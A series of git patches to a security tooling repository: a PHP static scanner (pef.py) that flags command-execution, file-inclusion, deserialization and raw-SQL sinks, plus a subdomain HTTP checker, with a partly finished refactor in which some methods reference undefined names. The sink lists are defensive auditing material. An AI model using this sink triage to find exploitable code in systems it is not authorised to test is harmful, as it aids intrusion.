From 952cca539fb6de37ad573746cc6617f579e88972 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Tue, 9 Jul 2019 23:34:31 +0100 Subject: [PATCH 001/369] pef.py - functions with @ were not recognized due to space before function name -> @ fn() pattern was searched [FIXED] --- denumerator/denumerator.py | 20 ++++++++++++++++---- pef/pef.py | 2 +- 2 files changed, 17 insertions(+), 5 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 120a9cf..d86a574 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -28,14 +28,18 @@ colors = { "white": '\33[37m', - 500: '\33[31m', 200: '\33[32m', + 204: '\33[32m', 302: '\33[33m', 304: '\33[33m', 302: '\33[33m', 401: '\33[94m', 403: '\33[94m', 404: '\33[94m', + 405: '\33[94m', + 415: '\33[94m', + 422: '\33[94m', + 500: '\33[31m', "magenta": '\33[35m', "cyan": '\33[36m', "grey": '\33[90m', @@ -44,7 +48,7 @@ } requests.packages.urllib3.disable_warnings() -allowed_http_responses = [200, 302, 304, 401, 404, 403, 500] +allowed_http_responses = [200, 204, 403, 404, 405, 415, 422, 500] timeout = 2 @@ -77,10 +81,15 @@ def append_to_output(html_output, url, http_status_code): './report/' + screenshot_name) os.system(screenshot_cmd + url) + # base color for all responses http_status_code_color = "000" + + # green - 200 OK if http_status_code == 200: http_status_code_color = "0c0" - if http_status_code == 403 or http_status_code == 500: + + # red - error responses, but HTTP server exists + if http_status_code in [403, 415, 422, 500]: http_status_code_color = "c00" html = """ @@ -114,6 +123,9 @@ def send_request(proto, domain, output_file, html_output): 'http': 'http://', 'https': 'https://' } + + print '\t--> {}{}'.format(protocols.get(proto.lower()), domain) + resp = requests.get(protocols.get(proto.lower()) + domain, timeout=timeout, allow_redirects=False, @@ -124,7 +136,7 @@ def send_request(proto, domain, output_file, html_output): print '[+] {}HTTP {}{}:\t {}'.format( colors[resp.status_code], resp.status_code, colors['white'], domain) - if resp.status_code in [200, 403, 404, 500]: + if resp.status_code in allowed_http_responses: append_to_output(html_output, protocols.get( proto.lower()) + domain, resp.status_code) diff --git a/pef/pef.py b/pef/pef.py index 27c1f5b..fa81ec2 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -124,8 +124,8 @@ def main(src, __severity, __verbose, __functions_only): __line = _line.rstrip() for _fn in pefdefs.exploitableFunctions: # there has to be space before function call; prevents from false-positives strings contains PHP function names - _fn = " {}".format(_fn) _at_fn = "@{}".format(_fn) + _fn = " {}".format(_fn) # also, it has to checked agains @ at the beginning of the function name # @ prevents from output being echoed if _fn in __line or _at_fn in __line: From 32a33c99f31841792caae1a07ecf792760039b89 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 11 Jul 2019 00:42:51 +0100 Subject: [PATCH 002/369] new patterns to recognize (SQL queries); --queries flag added to enable this option in scanning --- pef/imports/pefdefs.py | 6 ++++++ pef/imports/pefdocs.py | 14 +++++++++++++- pef/pef.py | 18 ++++++++++++++++-- 3 files changed, 35 insertions(+), 3 deletions(-) diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index a56cd49..4fcb0a0 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -123,3 +123,9 @@ "$_SERVER[\"REQUEST_URI\"]", "$_SERVER[\"HTTP_USER_AGENT\"]" ] + +# other patterns +otherPatterns = [ + "SELECT.*FROM", + "INSERT.*INTO" +] \ No newline at end of file diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 74324ca..2f80d24 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -478,5 +478,17 @@ "file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int", "Arbitrary file write", "medium" - ] + ], + "SELECT.*FROM":[ + "SQL syntax found.", + "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", + "SQL Injection", + "medium" + ], + "INSERT.*INTO":[ + "SQL syntax found.", + "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", + "SQL Injection", + "medium" + ], } diff --git a/pef/pef.py b/pef/pef.py index fa81ec2..30db39e 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -12,6 +12,7 @@ """ import sys import os +import re import argparse from imports import pefdefs @@ -93,7 +94,7 @@ def header_print(file_name, header_printed): return header_printed -def main(src, __severity, __verbose, __functions_only): +def main(src, __severity, __verbose, __functions_only, __queries): """ performs code analysis, line by line """ @@ -159,6 +160,16 @@ def main(src, __severity, __verbose, __functions_only): printcodeline(_line, i, _refl, prev_line, next_line, prev_prev_line, next_next_line, __severity, __verbose) + if __queries == True: + for _refl in pefdefs.otherPatterns: + p = re.compile(_refl) + if p.search(_line): + header_printed = header_print( + _file.name, header_printed) + total += 1 + printcodeline(_line, i, _refl, prev_line, next_line, + prev_prev_line, next_next_line, __severity, __verbose) + if total < 1: pass else: @@ -177,6 +188,8 @@ def main(src, __severity, __verbose, __functions_only): parser.add_argument( "-r", "--recursive", help="scan PHP files recursively in directory pointed by -f/--file", action="store_true") + parser.add_argument( + "-q", "--queries", help="look for raw SQL queries", action="store_true") parser.add_argument( "-v", "--verbose", help="print verbose output (more code, docs)", action="store_true") parser.add_argument( @@ -187,6 +200,7 @@ def main(src, __severity, __verbose, __functions_only): __verbose = True if args.verbose else False __functions_only = True if args.code else False + __queries = True if args.queries else False __filename = args.file __scanned_files = 0 __found_entries = 0 @@ -201,7 +215,7 @@ def main(src, __severity, __verbose, __functions_only): for f in files: __scanned_files = __scanned_files + 1 res = main(os.path.join(root, f), __severity, - __verbose, __functions_only) + __verbose, __functions_only, __queries) __found_entries = __found_entries + res else: __scanned_files = __scanned_files + 1 From 2415de145c154b264015092bfffe994e232ab012 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 11 Jul 2019 08:39:23 +0100 Subject: [PATCH 003/369] some new SQL patterns to detect --- pef/imports/pefdefs.py | 4 +++- pef/imports/pefdocs.py | 12 ++++++++++++ 2 files changed, 15 insertions(+), 1 deletion(-) diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index 4fcb0a0..3c87527 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -127,5 +127,7 @@ # other patterns otherPatterns = [ "SELECT.*FROM", - "INSERT.*INTO" + "INSERT.*INTO", + "UPDATE.*", + "DELETE.*FROM" ] \ No newline at end of file diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 2f80d24..3cb9caf 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -491,4 +491,16 @@ "SQL Injection", "medium" ], + "UPDATE.*":[ + "SQL syntax found.", + "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", + "SQL Injection", + "medium" + ], + "DELETE.*FROM":[ + "SQL syntax found.", + "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", + "SQL Injection", + "medium" + ] } From 09e2382ce4f290b6cd368083c38b186a8fe0239d Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Fri, 12 Jul 2019 17:09:01 +0100 Subject: [PATCH 004/369] refactoring; scan only for 'criticals' [pef.py] --- pef/imports/pefdefs.py | 28 +++++++++++++++++++- pef/pef.py | 58 +++++++++++++++++++++++++++--------------- 2 files changed, 65 insertions(+), 21 deletions(-) diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index 3c87527..d16cbd0 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -67,7 +67,6 @@ "dl(", "escapeshellarg(", "escapeshellcmd(", - "exec(", "extract(", "get_cfg_var(", "get_current_user(", @@ -92,6 +91,33 @@ "file_put_contents(" ] +# only high severity functions, for quick scan of large codebase +# to find oversighted leading to RCE, LFI, Command Injections, SQLi etc. +critical = [ + "system(", + "exec(", + "popen(", + "pcntl_exec(", + "eval(", + "passthru(", + "shell_exec(", + "extract(", + "parse_str(", + "putenv(", + "unserialize(", + "readfile(", + "file_get_contents(", + "mysql_query(", + "mssql_query(", + "sqlite_query(", + "pg_query(", + "__wakeup(", + "__destruct(", + "__sleep(", + "filter_var(", + "file_put_contents(" +] + # dangerous global(s) globalVars = [ "$_POST", diff --git a/pef/pef.py b/pef/pef.py index 30db39e..6cd21a1 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -94,7 +94,7 @@ def header_print(file_name, header_printed): return header_printed -def main(src, __severity, __verbose, __functions_only, __queries): +def main(src, __severity, __verbose = False, __sql = False, __critical = False): """ performs code analysis, line by line """ @@ -123,19 +123,33 @@ def main(src, __severity, __verbose, __functions_only, __queries): i += 1 __line = _line.rstrip() - for _fn in pefdefs.exploitableFunctions: - # there has to be space before function call; prevents from false-positives strings contains PHP function names - _at_fn = "@{}".format(_fn) - _fn = " {}".format(_fn) - # also, it has to checked agains @ at the beginning of the function name - # @ prevents from output being echoed - if _fn in __line or _at_fn in __line: - header_printed = header_print(_file.name, header_printed) - total += 1 - printcodeline(_line, i, _fn + (')' if '(' in _fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, __severity, __verbose) - - if __functions_only == False: + + if __critical: + for _fn in pefdefs.critical: + # there has to be space before function call; prevents from false-positives strings contains PHP function names + _at_fn = "@{}".format(_fn) + _fn = " {}".format(_fn) + # also, it has to checked agains @ at the beginning of the function name + # @ prevents from output being echoed + if _fn in __line or _at_fn in __line: + header_printed = header_print(_file.name, header_printed) + total += 1 + printcodeline(_line, i, _fn + (')' if '(' in _fn else ''), prev_line, + next_line, prev_prev_line, next_next_line, __severity, __verbose) + else: + for _fn in pefdefs.exploitableFunctions: + # there has to be space before function call; prevents from false-positives strings contains PHP function names + _at_fn = "@{}".format(_fn) + _fn = " {}".format(_fn) + # also, it has to checked agains @ at the beginning of the function name + # @ prevents from output being echoed + if _fn in __line or _at_fn in __line: + header_printed = header_print(_file.name, header_printed) + total += 1 + printcodeline(_line, i, _fn + (')' if '(' in _fn else ''), prev_line, + next_line, prev_prev_line, next_next_line, __severity, __verbose) + + if __critical == False: for _dp in pefdefs.fileInclude: # there has to be space before function call; prevents from false-positives strings contains PHP function names _dp = " {}".format(_dp) @@ -160,7 +174,7 @@ def main(src, __severity, __verbose, __functions_only, __queries): printcodeline(_line, i, _refl, prev_line, next_line, prev_prev_line, next_next_line, __severity, __verbose) - if __queries == True: + if __sql == True: for _refl in pefdefs.otherPatterns: p = re.compile(_refl) if p.search(_line): @@ -189,21 +203,25 @@ def main(src, __severity, __verbose, __functions_only, __queries): parser.add_argument( "-r", "--recursive", help="scan PHP files recursively in directory pointed by -f/--file", action="store_true") parser.add_argument( - "-q", "--queries", help="look for raw SQL queries", action="store_true") + "-c", "--critical", help="look only for critical functions", action="store_true") + parser.add_argument( + "-s", "--sql", help="look for raw SQL queries", action="store_true") parser.add_argument( "-v", "--verbose", help="print verbose output (more code, docs)", action="store_true") parser.add_argument( - "-c", "--code", help="only functions (no $_XXX)", action="store_true") + "-n", "--noglobals", help="only functions (no $_XXX)", action="store_true") parser.add_argument( "-f", "--file", help="File or directory name to scan (if directory name is provided, make sure -r/--recursive is set)") args = parser.parse_args() __verbose = True if args.verbose else False - __functions_only = True if args.code else False - __queries = True if args.queries else False + __sql = True if args.sql else False + __critical = True if args.critical else False __filename = args.file + __scanned_files = 0 __found_entries = 0 + __severity = { "high": 0, "medium": 0, @@ -215,7 +233,7 @@ def main(src, __severity, __verbose, __functions_only, __queries): for f in files: __scanned_files = __scanned_files + 1 res = main(os.path.join(root, f), __severity, - __verbose, __functions_only, __queries) + __verbose, __sql, __critical) __found_entries = __found_entries + res else: __scanned_files = __scanned_files + 1 From bb3f7ebe3a14b4fed569ddbb223ceb9130bfe6e1 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 15 Jul 2019 01:14:09 +0100 Subject: [PATCH 005/369] Refactoring - create PefEngine class for all logic to be moved here [pef.py] --- pef/pef.py | 32 +++++++++++++++++++++++++++++++- 1 file changed, 31 insertions(+), 1 deletion(-) diff --git a/pef/pef.py b/pef/pef.py index 6cd21a1..1784ddf 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -30,6 +30,36 @@ def banner(): print "-" * 100, "\33[0m\n" +class PefEngine: + """ + implements pef engine + """ + + def __init__(self): + """ + constructor + """ + return + + def header_print(self): + """ + prints file header + """ + return + + def printcodeline(self): + """ + prints formatted code line + """ + return + + def main(self): + """ + main engine loop + """ + return + + def printcodeline(_line, i, _fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", __severity={}, __verbose=False): """ Formats and prints line of output @@ -94,7 +124,7 @@ def header_print(file_name, header_printed): return header_printed -def main(src, __severity, __verbose = False, __sql = False, __critical = False): +def main(src, __severity, __verbose=False, __sql=False, __critical=False): """ performs code analysis, line by line """ From 2bd92df51ebd99d64d924b71318902b6f2fd0379 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 15 Jul 2019 01:25:15 +0100 Subject: [PATCH 006/369] Refactoring - some renaming [pef.py] --- pef/pef.py | 77 ++++++++++++++++++++++++++++++++++++++---------------- 1 file changed, 55 insertions(+), 22 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 1784ddf..675720f 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -35,10 +35,24 @@ class PefEngine: implements pef engine """ - def __init__(self): + def __init__(self, recursive, verbose, critical, sql, filename): """ constructor """ + self.recursive = recursive # recursive scan files in folder(s) + self.verbose = verbose # show prev/next lines + self.critical = critical # scan only for critical set of functions + self.sql = sql # scan for inline SQL queries + self.filename = filename # name of file/folder to scan + + self.scanned_files = 0 # number of scanned files in total + self.found_entries = 0 # total number of findings + + self.severity = { # severity scale + "high": 0, + "medium": 0, + "low": 0 + } return def header_print(self): @@ -59,6 +73,22 @@ def main(self): """ return + def run(self): + """ + runs scanning + """ + if args.recursive: + for root, subdirs, files in os.walk(__filename): + for f in files: + __scanned_files = __scanned_files + 1 + res = main(os.path.join(root, f), __severity, + __verbose, __sql, __critical) + __found_entries = __found_entries + res + else: + __scanned_files = __scanned_files + 1 + __found_entries = main(__filename, __severity) + return + def printcodeline(_line, i, _fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", __severity={}, __verbose=False): """ @@ -228,7 +258,7 @@ def main(src, __severity, __verbose=False, __sql=False, __critical=False): if __name__ == "__main__": parser = argparse.ArgumentParser() - __filename = '.' # initial value for file/dir to scan is current directory + filename = '.' # initial value for file/dir to scan is current directory parser.add_argument( "-r", "--recursive", help="scan PHP files recursively in directory pointed by -f/--file", action="store_true") @@ -244,48 +274,51 @@ def main(src, __severity, __verbose=False, __sql=False, __critical=False): "-f", "--file", help="File or directory name to scan (if directory name is provided, make sure -r/--recursive is set)") args = parser.parse_args() - __verbose = True if args.verbose else False - __sql = True if args.sql else False - __critical = True if args.critical else False - __filename = args.file + verbose = True if args.verbose else False + sql = True if args.sql else False + critical = True if args.critical else False + filename = args.file - __scanned_files = 0 - __found_entries = 0 + scanned_files = 0 + found_entries = 0 - __severity = { + severity = { "high": 0, "medium": 0, "low": 0 } if args.recursive: - for root, subdirs, files in os.walk(__filename): + for root, subdirs, files in os.walk(filename): for f in files: - __scanned_files = __scanned_files + 1 - res = main(os.path.join(root, f), __severity, - __verbose, __sql, __critical) - __found_entries = __found_entries + res + scanned_files = scanned_files + 1 + res = main(os.path.join(root, f), severity, + verbose, sql, critical) + found_entries = found_entries + res else: - __scanned_files = __scanned_files + 1 - __found_entries = main(__filename, __severity) + scanned_files = scanned_files + 1 + found_entries = main(filename, severity) print beautyConsole.getColor("white") + "-" * 100 print beautyConsole.getColor("green") - print "\n>>> {} file(s) scanned".format(__scanned_files) - if __found_entries > 0: + print "\n>>> {} file(s) scanned".format(scanned_files) + if found_entries > 0: print "{}>>> {} interesting entries found\n".format( - beautyConsole.getColor("red"), __found_entries) + beautyConsole.getColor("red"), found_entries) else: print " No interesting entries found :( \n" print "{}==> {}:\t {}".format( - beautyConsole.getColor("red"), "HIGH", __severity.get("high")) + beautyConsole.getColor("red"), "HIGH", severity.get("high")) print "{}==> {}:\t {}".format(beautyConsole.getColor( - "yellow"), "MEDIUM", __severity.get("medium")) + "yellow"), "MEDIUM", severity.get("medium")) print "{}==> {}:\t {}".format(beautyConsole.getColor( - "green"), "LOW", __severity.get("low")) + "green"), "LOW", severity.get("low")) print "\n" + # REFACTORED STARTS HERE + engine = PefEngine(args.recursive, verbose, critical, sql, filename) + exit(0) From c8d9d0636082b51bc6c39530aa90ba28b49cfe91 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 15 Jul 2019 01:31:52 +0100 Subject: [PATCH 007/369] Refactoring - some renaming [pef.py] --- pef/pef.py | 145 ++++++++++++++++++++++++++++------------------------- 1 file changed, 76 insertions(+), 69 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 675720f..c4fc9c2 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -77,57 +77,58 @@ def run(self): """ runs scanning """ - if args.recursive: - for root, subdirs, files in os.walk(__filename): + if self.recursive: + for root, subdirs, files in os.walk(self.filename): for f in files: - __scanned_files = __scanned_files + 1 + self.scanned_files = self.scanned_files + 1 res = main(os.path.join(root, f), __severity, - __verbose, __sql, __critical) - __found_entries = __found_entries + res + + verbose, sql, critical) + self.found_entries = self.found_entries + res else: - __scanned_files = __scanned_files + 1 - __found_entries = main(__filename, __severity) + self.scanned_files = self.scanned_files + 1 + self.found_entries = main(self.filename, __severity) return -def printcodeline(_line, i, _fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", __severity={}, __verbose=False): +def printcodeline(_line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity={}, verbose=False): """ Formats and prints line of output """ - __impact_color = { + impact_color = { "low": "green", "medium": "yellow", "high": "red" } - if __verbose == True: - print " line %d :: \33[33;1m%s\33[0m " % (i, _fn) + if verbose == True: + print " line %d :: \33[33;1m%s\33[0m " % (i, fn) else: print "{}line {} :: {}{} ".format(beautyConsole.getColor( "white"), i, beautyConsole.getColor("grey"), _line.strip()) # print legend only if there i sentry in pefdocs.py - if _fn and _fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): - __impact = pefdocs.exploitableFunctionsDesc.get(_fn.strip())[3] - __description = pefdocs.exploitableFunctionsDesc.get(_fn.strip())[ + if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): + impact = pefdocs.exploitableFunctionsDesc.get(fn.strip())[3] + description = pefdocs.exploitableFunctionsDesc.get(fn.strip())[ 0] - __syntax = pefdocs.exploitableFunctionsDesc.get(_fn.strip())[1] - __vuln_class = pefdocs.exploitableFunctionsDesc.get(_fn.strip())[2] + syntax = pefdocs.exploitableFunctionsDesc.get(fn.strip())[1] + vuln_class = pefdocs.exploitableFunctionsDesc.get(fn.strip())[2] - if __verbose == True: + if verbose == True: print "\n {}{}{}".format(beautyConsole.getColor( - "white"), __description, beautyConsole.getSpecialChar("endline")) + "white"), description, beautyConsole.getSpecialChar("endline")) print " {}{}{}".format(beautyConsole.getColor( - "grey"), __syntax, beautyConsole.getSpecialChar("endline")) + "grey"), syntax, beautyConsole.getSpecialChar("endline")) print " Potential impact: {}{}{}".format(beautyConsole.getColor( - __impact_color[__impact]), __vuln_class, beautyConsole.getSpecialChar("endline")) + impact_color[impact]), vuln_class, beautyConsole.getSpecialChar("endline")) - if __impact not in __severity.keys(): - __severity[__impact] = 1 + if impact not in severity.keys(): + severity[impact] = 1 else: - __severity[__impact] = __severity[__impact] + 1 + severity[impact] = severity[impact] + 1 - if __verbose == True: + if verbose == True: print "\n" if prev_prev_line: print str(i-2) + " " + beautyConsole.getColor("grey") + prev_prev_line + \ @@ -154,16 +155,16 @@ def header_print(file_name, header_printed): return header_printed -def main(src, __severity, __verbose=False, __sql=False, __critical=False): +def main(src, severity, verbose=False, sql=False, critical=False): """ performs code analysis, line by line """ - _file = open(src, "r") + f = open(src, "r") i = 0 total = 0 filenamelength = len(src) linelength = 97 - all_lines = _file.readlines() + all_lines = f.readlines() header_printed = False prev_prev_line = "" @@ -171,7 +172,7 @@ def main(src, __severity, __verbose=False, __sql=False, __critical=False): next_line = "" next_next_line = "" - for _line in all_lines: + for l in all_lines: if i > 2: prev_prev_line = all_lines[i - 2].rstrip() if i > 1: @@ -182,67 +183,73 @@ def main(src, __severity, __verbose=False, __sql=False, __critical=False): next_next_line = all_lines[i + 2].rstrip() i += 1 - __line = _line.rstrip() + line = l.rstrip() - if __critical: - for _fn in pefdefs.critical: + if critical: + for fn in pefdefs.critical: # there has to be space before function call; prevents from false-positives strings contains PHP function names - _at_fn = "@{}".format(_fn) - _fn = " {}".format(_fn) + atfn = "@{}".format(fn) + fn = " {}".format(fn) # also, it has to checked agains @ at the beginning of the function name # @ prevents from output being echoed - if _fn in __line or _at_fn in __line: - header_printed = header_print(_file.name, header_printed) + if fn in line or atfn in line: + header_printed = header_print(f.name, header_printed) total += 1 - printcodeline(_line, i, _fn + (')' if '(' in _fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, __severity, __verbose) + printcodeline(l, i, fn + (')' if '(' in fn else ''), prev_line, + next_line, prev_prev_line, next_next_line, severity, + verbose) else: - for _fn in pefdefs.exploitableFunctions: + for fn in pefdefs.exploitableFunctions: # there has to be space before function call; prevents from false-positives strings contains PHP function names - _at_fn = "@{}".format(_fn) - _fn = " {}".format(_fn) + atfn = "@{}".format(fn) + fn = " {}".format(fn) # also, it has to checked agains @ at the beginning of the function name # @ prevents from output being echoed - if _fn in __line or _at_fn in __line: - header_printed = header_print(_file.name, header_printed) + if fn in line or atfn in line: + header_printed = header_print(f.name, header_printed) total += 1 - printcodeline(_line, i, _fn + (')' if '(' in _fn else ''), prev_line, - next_line, prev_prev_line, next_next_line, __severity, __verbose) + printcodeline(l, i, fn + (')' if '(' in fn else ''), prev_line, + next_line, prev_prev_line, next_next_line, severity, + verbose) - if __critical == False: - for _dp in pefdefs.fileInclude: + if critical == False: + for dp in pefdefs.fileInclude: # there has to be space before function call; prevents from false-positives strings contains PHP function names - _dp = " {}".format(_dp) + dp = " {}".format(dp) # remove spaces to allow detection eg. include( $_GET['something] ) - if _dp in __line.replace(" ", ""): - header_printed = header_print(_file.name, header_printed) + if dp in line.replace(" ", ""): + header_printed = header_print(f.name, header_printed) total += 1 - printcodeline(_line, i, _dp + '()', prev_line, next_line, - prev_prev_line, next_next_line, __severity, __verbose) + printcodeline(l, i, dp + '()', prev_line, next_line, + prev_prev_line, next_next_line, severity, + verbose) - for _global in pefdefs.globalVars: - if _global in __line: - header_printed = header_print(_file.name, header_printed) + for globalvars in pefdefs.globalVars: + if globalvars in line: + header_printed = header_print(f.name, header_printed) total += 1 - printcodeline(_line, i, _global, prev_line, next_line, - prev_prev_line, next_next_line, __severity, __verbose) + printcodeline(l, i, globalvars, prev_line, next_line, + prev_prev_line, next_next_line, severity, + verbose) - for _refl in pefdefs.reflectedProperties: - if _refl in __line: - header_printed = header_print(_file.name, header_printed) + for refl in pefdefs.reflectedProperties: + if refl in line: + header_printed = header_print(f.name, header_printed) total += 1 - printcodeline(_line, i, _refl, prev_line, next_line, - prev_prev_line, next_next_line, __severity, __verbose) - - if __sql == True: - for _refl in pefdefs.otherPatterns: - p = re.compile(_refl) - if p.search(_line): + printcodeline(l, i, refl, prev_line, next_line, + prev_prev_line, next_next_line, severity, + verbose) + + if sql == True: + for refl in pefdefs.otherPatterns: + p = re.compile(refl) + if p.search(l): header_printed = header_print( - _file.name, header_printed) + f.name, header_printed) total += 1 - printcodeline(_line, i, _refl, prev_line, next_line, - prev_prev_line, next_next_line, __severity, __verbose) + printcodeline(l, i, refl, prev_line, next_line, + prev_prev_line, next_next_line, severity, + verbose) if total < 1: pass From fa4b0eeb2f4a8ad49a5af03e640c837b61020858 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 15 Jul 2019 01:37:16 +0100 Subject: [PATCH 008/369] PefEngine.run() implementation [pef.py] --- pef/pef.py | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index c4fc9c2..2eca46d 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -67,7 +67,7 @@ def printcodeline(self): """ return - def main(self): + def main(self, src): """ main engine loop """ @@ -81,13 +81,11 @@ def run(self): for root, subdirs, files in os.walk(self.filename): for f in files: self.scanned_files = self.scanned_files + 1 - res = main(os.path.join(root, f), __severity, - - verbose, sql, critical) + res = self.main(os.path.join(root, f)) self.found_entries = self.found_entries + res else: self.scanned_files = self.scanned_files + 1 - self.found_entries = main(self.filename, __severity) + self.found_entries = self.main(self.filename) return @@ -325,7 +323,12 @@ def main(src, severity, verbose=False, sql=False, critical=False): print "\n" + + + # REFACTORED STARTS HERE engine = PefEngine(args.recursive, verbose, critical, sql, filename) + engine.run() + exit(0) From 9f281be656c8c7d0e6e254d115eb0f06e7eba6c6 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Tue, 16 Jul 2019 09:25:20 +0100 Subject: [PATCH 009/369] Refactoring (cont.) [pef.py] --- pef/pef.py | 231 +++++++++++++++++++++++++++++++++++++++++++---------- 1 file changed, 190 insertions(+), 41 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 2eca46d..7bb8ab4 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -55,38 +55,191 @@ def __init__(self, recursive, verbose, critical, sql, filename): } return - def header_print(self): + def header_print(self, file_name, header_print): """ prints file header """ - return + if header_printed == False: + print beautyConsole.getColor("white") + "-" * 100 + print "FILE: \33[33m%s\33[0m " % os.path.realpath(file_name), "\n" + header_printed = True + return header_printed - def printcodeline(self): + def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity={}, verbose=False): """ prints formatted code line """ - return + impact_color = { + "low": "green", + "medium": "yellow", + "high": "red" + } + + if verbose == True: + print " line %d :: \33[33;1m%s\33[0m " % (i, fn) + else: + print "{}line {} :: {}{} ".format(beautyConsole.getColor( + "white"), i, beautyConsole.getColor("grey"), _line.strip()) + + # print legend only if there i sentry in pefdocs.py + if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): + impact = pefdocs.exploitableFunctionsDesc.get(fn.strip())[3] + description = pefdocs.exploitableFunctionsDesc.get(fn.strip())[ + 0] + syntax = pefdocs.exploitableFunctionsDesc.get(fn.strip())[1] + vuln_class = pefdocs.exploitableFunctionsDesc.get(fn.strip())[2] + + if verbose == True: + print "\n {}{}{}".format(beautyConsole.getColor( + "white"), description, beautyConsole.getSpecialChar("endline")) + print " {}{}{}".format(beautyConsole.getColor( + "grey"), syntax, beautyConsole.getSpecialChar("endline")) + print " Potential impact: {}{}{}".format(beautyConsole.getColor( + impact_color[impact]), vuln_class, beautyConsole.getSpecialChar("endline")) + + if impact not in severity.keys(): + severity[impact] = 1 + else: + severity[impact] = severity[impact] + 1 + + if verbose == True: + print "\n" + if prev_prev_line: + print str(i-2) + " " + beautyConsole.getColor("grey") + prev_prev_line + \ + beautyConsole.getSpecialChar("endline") + if prev_line: + print str(i-1) + " " + beautyConsole.getColor("grey") + prev_line + \ + beautyConsole.getSpecialChar("endline") + print str(i) + " " + beautyConsole.getColor("green") + _line.rstrip() + \ + beautyConsole.getSpecialChar("endline") + if next_line: + print str(i+1) + " " + beautyConsole.getColor("grey") + next_line + \ + beautyConsole.getSpecialChar("endline") + if next_next_line: + print str(i+2) + " " + beautyConsole.getColor("grey") + next_next_line + \ + beautyConsole.getSpecialChar("endline") + print "\n" + return def main(self, src): """ main engine loop """ - return + f = open(src, "r") + i = 0 + total = 0 + filenamelength = len(src) + linelength = 97 + all_lines = f.readlines() + + header_printed = False + prev_prev_line = "" + prev_line = "" + next_line = "" + next_next_line = "" + + for l in all_lines: + if i > 2: + prev_prev_line = all_lines[i - 2].rstrip() + if i > 1: + prev_line = all_lines[i - 1].rstrip() + if i < (len(all_lines) - 1): + next_line = all_lines[i + 1].rstrip() + if i < (len(all_lines) - 2): + next_next_line = all_lines[i + 2].rstrip() + + i += 1 + line = l.rstrip() + + if critical: + for fn in pefdefs.critical: + # there has to be space before function call; prevents from false-positives strings contains PHP function names + atfn = "@{}".format(fn) + fn = " {}".format(fn) + # also, it has to checked agains @ at the beginning of the function name + # @ prevents from output being echoed + if fn in line or atfn in line: + header_printed = header_print(f.name, header_printed) + total += 1 + self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, + next_line, prev_prev_line, next_next_line, severity, + verbose) + else: + for fn in pefdefs.exploitableFunctions: + # there has to be space before function call; prevents from false-positives strings contains PHP function names + atfn = "@{}".format(fn) + fn = " {}".format(fn) + # also, it has to checked agains @ at the beginning of the function name + # @ prevents from output being echoed + if fn in line or atfn in line: + header_printed = header_print(f.name, header_printed) + total += 1 + self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, + next_line, prev_prev_line, next_next_line, severity, + verbose) + + if critical == False: + for dp in pefdefs.fileInclude: + # there has to be space before function call; prevents from false-positives strings contains PHP function names + dp = " {}".format(dp) + # remove spaces to allow detection eg. include( $_GET['something] ) + if dp in line.replace(" ", ""): + header_printed = header_print(f.name, header_printed) + total += 1 + self.print_code_line(l, i, dp + '()', prev_line, next_line, + prev_prev_line, next_next_line, severity, + verbose) - def run(self): - """ - runs scanning - """ - if self.recursive: - for root, subdirs, files in os.walk(self.filename): - for f in files: - self.scanned_files = self.scanned_files + 1 - res = self.main(os.path.join(root, f)) - self.found_entries = self.found_entries + res + for globalvars in pefdefs.globalVars: + if globalvars in line: + header_printed = header_print(f.name, header_printed) + total += 1 + self.print_code_line(l, i, globalvars, 